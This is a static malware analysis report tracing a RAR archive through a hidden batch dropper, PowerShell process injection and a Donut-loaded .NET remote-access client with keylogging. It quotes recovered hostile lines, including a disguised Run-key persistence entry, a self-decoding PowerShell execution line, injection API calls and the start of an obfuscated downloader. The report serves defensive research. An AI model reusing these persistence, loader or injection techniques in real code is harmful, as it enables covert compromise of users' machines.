RAR to batch to PowerShell to InvokedClient: static analysis

This report documents a Windows malware chain recovered from clarkkk#@..rar, and its relationship to the separately supplied atlasb.bat and u.exe. Analysis date: 2026-10-18. The supplied files were inspected as data. No sample was executed, built, or allowed to contact its configured servers.

Warning

Malicious code is present in the text files in the Analysis-Work zip. Read it as evidence. Do not execute it.

What was established

atlasb.bat is byte-for-byte identical to the batch payload recovered from the RAR. u.exe is byte-for-byte identical to the final .NET executable decoded from that batch chain. These connections were verified by SHA-256, not inferred from filenames.

How the components connect

RAR5 archive
  ├─ visible personal-information decoy — omitted from this publication
  ├─ hidden batch streams → atlasb.bat
  │    └─ comment-embedded PowerShell
  │         └─ Donut loader → .NET InvokedClient payload → u.exe
  └─ hidden VBScript downloader — separate route; launch not established

The archive has five hidden NTFS alternate data stream records containing two unique scripts. Some stream names use parent-directory traversal targeting a Windows Startup directory. This is consistent with the WinRAR technique described in ESET's CVE-2025-8088 research. Exploitation was not tested. Recovery discarded those paths and used fixed output filenames.

The batch copies itself to %APPDATA%\GoogleChrome\update.bat and establishes an HKCU Run value named GoogleChromeUpdate. These lines are from the recovered batch, 01-google.bat.txt:

set "sNlJFUgCYV=%APPDATA%\GoogleChrome"
set "faG8NNMUn=%sNlJFUgCYV%\update.bat"
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleChromeUpdate" /t REG_SZ /d "%VFx0bi%" /f >nul

It then reads its own file and runs whatever sits after the ::JZ2qvj:: marker. Line 202 of the same file:

powershell -NoProfile -ExecutionPolicy Bypass -Command "try { if ((Get-Content -LiteralPath '%~f0' -Raw -ErrorAction Stop) -match '::JZ2qvj::([A-Za-z0-9+/=]+)') { & ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($matches[1])))) } } catch { exit }" >nul 2>&1

The marker is at line 263, near the end, not the final line. The batch contains 288 lines. The encoded blob on that line is about 1.1 MB, so only the start is shown here:

::JZ2qvj::JERRZGV0UWJFID0gW1N5c3RlbS5UaHJlYWRpbm...

Decoding that blob produces the PowerShell below. These are selected lines from 03-decoded-powershell.ps1.txt. The shellcode bytes are omitted:

$DQdetQbE = [System.Threading.Mutex]::new($false, "tcyWDT")
if (-not $DQdetQbE.WaitOne(0)) { exit }

$JBqbO = Get-Process "explorer" -ErrorAction SilentlyContinue | Get-Random
if (-not $JBqbO) { exit }

$v3Zgar = -not [NtDLL]::NtCreateSection([ref] $ZVjVYewnmZ, 0xe, [IntPtr]::Zero, [ref] $nZmQpqZV7, 0x40, 0x8000000, [IntPtr]::Zero)
$M3ZaRNmk = -not [NtDLL]::NtMapViewOfSection($ZVjVYewnmZ, -1, [ref] $tJI9ec9nNE, 0, 0, [ref] $null, [ref] $nZmQpqZV7, 0x2, 0, 0x04)
[Runtime.InteropServices.Marshal]::WriteByte($tJI9ec9nNE, $Kk0DCZnm, $zy2BrqFImiE[$Kk0DCZnm] -bxor 105)

$BPV0br = [Kernel32]::OpenProcess(0xA, $false, $JBqbO.id)
$v8j1IVwr = [Kernel32]::CreateRemoteThread($BPV0br, [IntPtr]::Zero, 0, $IAltmPxE, [IntPtr]::Zero, 0, [ref] $null)

Static decoding of that payload recovered a Donut loader and its compressed managed payload. These lines are from separate places in InvokedClient.decompiled.cs.txt:

using InvokedCommon;
using InvokedCommon.Messages.ReverseProxy;

new Mutex(initiallyOwned: false, "Local\\" + name, out var createdNew);

return message is GetKeyloggerLogsDirectory;

The separate downloader, 02-hidden-downloader.vbs.txt, writes into a fixed temporary directory and builds its URL one character code at a time. The array in the file is longer than this. The start is:

targetFolder = fso.BuildPath(tempFolder, "scoped_dir2716372_129425779512")
For Each c In Array(104,116,116,112,115,58,47,47,114,97,119,...)
    u = u & Chr(c)
Next

Those first codes are https://raw. The rest of the array is in 02-hidden-downloader.vbs.txt inside clarkkk-invoked-analysis.zip. Decoded, it is the defanged URL in the indicator table. The final payload uses InvokedClient and InvokedCommon components. It implements remote command execution, file, process, and registry management, reverse proxy functions, and server-delivered .NET plugin loading. Keyboard logging and screen and input routines are present. The decoded sample configuration disables automatic keylogging. Capabilities should not be confused with observed execution.

Code and provenance

The recovered text files are in clarkkk-invoked-analysis.zip on Analysis-Work.

The scripts were recovered directly. C# decompilation and native disassembly are reconstructed representations, not original developer source. Obfuscated names and decompiler warnings remain. The native disassembly can include data interpreted as instructions. No malware functionality was repaired or enhanced for this publication.

Original executable and archive containers are identified by hash rather than included as runnable downloads. The private decoy content and information about the analyst's computer are omitted.

Detection and investigation indicators

These indicators describe this sample. Their presence or absence alone is not a verdict on a host.

The downloader URL was not fetched. The ten encrypted configuration fields passed HMAC verification during static decoding. No claim is made about the current activity or ownership of the configured endpoint.

Related source package and limits

See the analysis of 5mb8dr6.rar for a largely decompiled source package using the same Invoked/Quasar naming and architecture. Four third-party library hashes overlap. This does not prove that exact source package produced this executable, and it does not establish common authorship.

This is static evidence, not a recorded infection or sandbox trace. Additional server-delivered plugins and remotely fetched content were not present in this archive. The original source, author identity, and distribution history were not established. Copyright and license claims for third-party code are not changed by this research publication.

Supporting format references: RAR specification, Donut developer notes.